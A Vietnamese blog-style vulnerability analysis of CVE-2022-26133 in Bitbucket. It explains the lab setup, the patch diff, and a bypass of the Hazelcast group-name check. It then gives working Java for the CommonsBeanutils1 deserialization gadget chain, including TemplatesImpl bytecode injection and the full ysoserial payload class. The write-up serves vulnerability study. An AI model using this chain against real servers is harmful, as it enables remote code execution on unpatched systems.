# Phân tích CVE-2022-26133 - lỗ hổng Deserialization trong Bitbucket
Vì ngồi đọc các chain của ysoserial hơi buồn ngủ nên mình quyết định sẽ tìm các CVE liên quan để thử phân tích. Và tình cờ mình thấy bài này: https://viblo.asia/p/phan-tich-lo-hong-deserialization-trong-bitbucket-cve-2022-26133-W13VMgEGJY7
## SETUP môi trường
Thông tin về lỗ hổng đã được public [tại đây](https://jira.atlassian.com/browse/BSERV-13173). Trong mô tả của lỗ hổng đã đề cập các version chứa lỗi và phiên bản nó được fix:
* All 5.x versions >= 5.14.x
* All 6.x versions
* All 7.x versions < 7.6.14
* All versions 7.7.x through 7.16.x
* 7.17.x < 7.17.6
* 7.18.x < 7.18.4
* 7.19.x < 7.19.4
* 7.20.0
Mình chọn version 7.18.3 và tải thêm version 7.18.4 để diff.
Để tải bitbucket thì có thể truy cập [link này](https://www.atlassian.com/software/bitbucket/download-archives). Và nhớ tải bản zip nha mn.

Trong bài này, mình sử dụng jdk11 và set up mọi thử trên windows. Cần phải set **JAVA_HOME** và **JRE_HOME** thì mới có thể chạy được file start của bitbucket.
Tiếp theo là cần phải cài đặt **git** , **postgresql server**. Git thì mọi người có thể cài đặt bất kỳ phiên bản nào. posgresql thì có thể chạy docker hoặc tải bản install về chạy cũng được.
```dockerfile
version: '2'
services:
db:
image: postgres:12.8-alpine
ports:
- 5432:5432
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
```
### DEBUG
Để có thể remote debug được thì chỉ cần add thêm dòng sau vào biến **JAVA_OPTS** nằm trong file `_start-webapp.bat` ở thư mục `\atlassian-bitbucket-7.18.3\bin`
```javascript
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
```

Khi đã hoàn tất các bước trên thì chạy file `start-bitbucket.bat`
Sau khi chạy xong setup, truy cập vào `http://localhost:7990` để setup web bitbucket.
Tiếp theo, mở thư mục cài đặt lên chạy lệnh sau để có toàn bộ lib mà
bitbucket sử dụng:
```bash=
find . -iname '*.jar' -exec cp {} bitbucket_libs \;
```
Mở intelij lên, add lib vào và thêm cấu hình cho remote debug

## DIFF
Theo mô tả trên NVD, lỗ hổng xảy ra ở chức năng `SharedSecretClusterAuthenticator` của Bitbucket, nó nằm ở bitbucket-service-impl.jar. Nên mình sẽ diff file jar của 2 phiên bản:

`CTRL + N` nhảy ngay đến class chứa sự khác biệt.

`CTRL + F12` đến hàm `runMutualChallengeResponse` như trong diff

## Analysis
Có thể thấy là hàm `runMutualChallengeResponse` có nhận **ObjectDataInput** từ đầu vào là **ClusterJoinRequest** sau đó thì ObjectDataInput này sẽ được truyền vào hàm **receiveObject()**

Mà hàm **receiveObject** lại có **readObject()** -> Hoàn toàn có thể Derserialize

Nhưng để **ObjectDataInput** vào được tới **receiveObject** thì cần phải qua được đoạn if:

Hàm **verifyGroupName** kiểm tra xem input đầu vào có trùng khớp với groupName của hệ thống không.

Với groupName được định nghĩa ở hàm khởi tạo như sau:

Có thể thấy GroupName là groupName của hazelcast. Vào HazelcastClusterInformation.class để xem cấu hình Hazelcast Cluster.
HazelcastCluster lấy config từ 1 file NetworkConfig:

netcat đến port 5701 của Hazel thì mình thấy nó in ra tên groupName chính là tên của user chạy bitbucker

> Cứ như là dev của Bitbucket cố tình để lại cái này hòng lấy được CVE vậy
Tuy nhiên là nếu nhập thẳng tên user được in ra thì sẽ không được. Mình netcat print ra file mở lên thì thấy thế này

Có một số byte đằng trước, theo mình đọc thì các byte chứa độ dài của name truyền vào

Như vậy là đã có thể bypass qua được đoạn if. Bây giờ tìm cách làm sao để truyền object vào và câu hỏi là phải sử dụng chain nào?
Đến đây thì mình thử tự đọc tiếp code nhưng khá bí nên mình đọc tiếp bài ở đầu. Thì tác giả có viết lỗi này xuất phát từ **CVE-2016-10750** và chain được sử dụng là **CommonsBeanutils1**
## Phân tích chain Commons Beanutils 1
Stack frame của chain như sau:
```java
PriorityQueue#readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator#compare()
PropertyUtils#getProperty
TemplatesImpl#getOutputProperties()
|TemplatesImpl#newTransformer()
|TemplatesImpl#getTransletInstance()
|TemplatesImpl#defineTransletClasses()
|TransletClassLoader#defineClass()
```
Bắt đầu từ dưới đi lên nhé. Mình nhảy vào **TemplatesImpl** sau đó lướt xuống dưới chút thì thấy class **TrasletClassLoader**

Trước khi đi vào phương thức **defineClass** của **TransletClassLoader** mình cùng đi tìm hiểu cách mà java bytecode được load.
### Javassist
Khi compile một chương trình java với cú pháp
```
javac abc.java
```
thì lúc này file code java sẽ được compile ra file .class (ở dạng bytecode) sau đó sẽ sử dụng command java để chạy bytecode
```
java abc.class
```
file .class này có chứa các class và các interface
Javassist ra đời với mục đích giúp người lập trình thao tác với bytecode một cách dễ dàng hơn.
Nhờ có javassist mà chúng ta có thể định nghĩa class mới trong runtime và sửa đổi file .class khi JVM tải nó.
#### ClassPool
ClassPool là một container chứa các CtClass objects.
Mỗi instance của CtClass đại diện cho một class. Để lấy được CtClass thì chúng ta sử dụng phương thức **getDefault()** của ClassPool

**default classpool**:
Đây là vùng nhớ mặc định mà JVM (Java Virtual Machine) sử dụng để lưu trữ các lớp (classes) mà nó đã tải. Khi chương trình Java của bạn cần một lớp, JVM sẽ tìm trong "class pool" này để xem lớp đó đã được tải chưa.
**system search path**
Khi JVM cần tải một class, nó sẽ tìm kiếm các class đó trong một số đường dẫn hệ thống mặc định (còn gọi là system search path)
**CLASSPATH**
System search path thì thường được chỉ định bởi **classpath**
**Classpath** là một tham số trong JVM hoặc Java Compiler. chỉ định vị trí của class và package do người dùng xác định. Tham số này có thể được đặt trong commandline hoặc qua environment variable
```java
java -classpath /path/to/classes:/path/to/lib/some-library.jar MyMainClass
```
**Tạo một class độc hại**
```java
ClassPool pool = ClassPool.getDefault();
CtClass test = pool.makeClass("Malicious");
```
Mặc dù đã add vào DefualtClassPool nhưng mà trong trường hợp chương trình chạy trên Tomcat hoặc JBoss, class của user có thể không được tìm thấy.
Trong trường hợp này ta cần phải add path bằng cách sau (thường là sẽ add path của class cha muốn kế thừa):
```java
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
```
Để gắn class kế thừa:
```java
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
```
Tạo một static constructor:
```java
CtConstructor constructor = test.makeClassInitializer();
```
Chèn code java vào đầu class:
```java
constructor.insertBefore("System.out.println(\"Hello,Téttt\");");
```

chạy code có thể thấy là file code đã được lưu trong cùng classpath
### ClassLoader#defineClass
defineClass thật ra là một java native method được viết bằng C giúp chuyển đổi byte stream thành một java class hoàn chỉnh trong runtime. Tuy nhiên method defineClass có thuộc tính protected nên phải tạo một subclass kế thừa nó hoặc dùng đến reflection mới có thể sử dụng trực tiếp

Vì nó là protected do đó ta phải dùng reflect api để gọi đến nó
```java
Class getClass = Class.forName("java.lang.ClassLoader");//get Classloader
Method getMethod = getClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//get method
getMethod.setAccessible(true);//access private method
getMethod.invoke(ClassLoader.getSystemClassLoader(),"DocHai",bytes,0,bytes.length);
```
**Chú ý**: Khi defineClass được gọi, class object sẽ không được khởi tạo mà chỉ khi ta tự gọi đến constructor của nó (ở đây là newInstance()). Kể cả khi ta đặt initialization code trong static block của class thì vẫn không được thực thi khi definingClass. Vậy nên nếu muốn dùng defineClass để thực thi mã bất kì khi load bytecode ==> phải tìm cách gọi được constructor.

> Do ClassLoader#defineClass không thể truy cập trực tiếp nên trong thực tế khó có thể sử dụng trong exploit chain. Nên ta quay lại với chain của bài là TemplatesImpl defineClass nhé
### TransletClassLoader#defineClass()
```java
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) { // NOTE: overridden
return defineClass(null, b, 0, b.length);
}
}
```
Do class này không khai báo scope, scope sẽ là "default" ==> Outer class TemplatesImpl có thể truy cập inner class TransletClassLoader member.
Ta có thể gọi như sau:
```java
new TransletClassLoader(blabla.class.getClassLoader()).defineClass(bytes)
```
CTRL + F thì thấy hàm này được gọi bởi TemplatesImpl#defineTransletClasses

Đặt debug trace ngược lại thì **getTransletInstance()** gọi đến defineTransletClasses()

Trace tiếp thì **TemplatesImpl#newTransformer()** gọi đến getTransletInstance()
**Cần lưu ý chỗ này:**
Để tạo chain, cần set 3 private properties là _name, _tfactory và _bytecodes
`_name` thì chỉ cần khác null là được
`_tfactory` cần là **TransformerFactoryImpl** object do trong **TemplatesImpl#defineTransletClasses()** có gọi đến method **TransformerFactoryImpl#getExternalExtensionsMap()**:

`_bytecodes` phải là subclass của **com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet**

Từ đây ta có thể inject bytecode bất kì với code sau:
```java
TemplatesImpl template = new TemplatesImpl();
Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(template,"anything");
Field _class = temp.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(template,null);
Field _bytecodes = temp.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(template,new byte[][]{bytes});
Field _tfactory = temp.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(template,new TransformerFactoryImpl());
template.newTransformer();
```
Tiếp tục quay lại với chain common Beanutils thôi
Ta có **TemplatesImpl#getOutputProperties** có thuộc tính public và gọi đến newTransformer():
```java
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
```
Vậy nếu có chain invoke được getter method getOutputProperties => RCE
### PropertyUtils#getProperty
Thư viện Apache Commons Beanutils cung cấp nhiều methods để làm việc với các JavaBeans trong java, trong đó có static method PropertyUtils.getProperty cho phép người dùng gọi getter method của class JavaBeans bất kỳ, ví dụ:
```java
PropertyUtils.getProperty(new Person(), "name");
```
Thì commons-beanutils sẽ tự động tìm getter method từ name attribute -> getName (đơn giản là viết hoa chữ cái đầu xong prefix thêm get) và invoke method đó để lấy giá trị trả về. Ngoài ra PropertyUtils.getProperty còn hỗ trợ đệ quy, vd object a chứa b, b chứa c ==>
```java
PropertyUtils.getProperty(a, "b.c");
```
### BeanComparator class
Là một class trong commons-beanutils để so sánh liệu 2 JavaBeans có giống nhau, nó implements java.util.Comparator interface với method compare() gọi đến PropertyUtils.getProperty:
```java
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
```
### PriorityQueue#readObject –> BeanComparator#compare()
Phần còn lại của chain, java.util.PriorityQueue là class đã có sẵn trong java runtime, có thể sử dụng để gọi từ readObject() -> Object#compare.
Đầu tiên, từ method readObject() gọi sang heapify()
```java
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
```
Method này được gọi mà không có tham số, Đại khái nó sẽ loop qua cái array queue và thực thi method siftDown() với 2 tham số là i và queue[i]. Vậy mục tiêu của ta là phải control được các phần tử trong array này.
Ctrl+F source code ta có thể tìm thấy 1 public method là add() để add phần tử vào mảng queue:

**int i (size >>> 1) - 1** -> chỉ cần size là 2 trở lên là ok. Với size = 2 thì (size >>> 1) sẽ bằng 1. và i sẽ là 0. Và queue[0]
-> cần add 2 phần tử vào
trong siftDown lại có
```java
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
```
nếu field comparator khác null sẽ sử dụng siftDownUsingComparator():
```java
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
```
Tại đây comparator#compare() sẽ được gọi để compare các object trong property queue với nhau.
Tổng kết lại ta có full chain như của ysoserial:
```java
package org.su18.ysuserial.payloads.gadgets;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import org.su18.ysuserial.payloads.ObjectPayload;
import org.su18.ysuserial.payloads.annotation.Authors;
import org.su18.ysuserial.payloads.annotation.Dependencies;
import org.su18.ysuserial.payloads.util.Gadgets;
import org.su18.ysuserial.payloads.util.Reflections;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({Authors.FROHOFF})
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
return queue;
}
}
```
## Nguồn tham khảo va gần như ăn cắp hoàn toàn :V
https://clbuezzz.wordpress.com/2022/11/05/ysoserial-commonscollections-analysisphan-1-7/
https://hackmd.io/@devme4f/r1klIM0An#CommonsBeanutils1
https://viblo.asia/p/phan-tich-lo-hong-deserialization-trong-bitbucket-cve-2022-26133-W13VMgEGJY7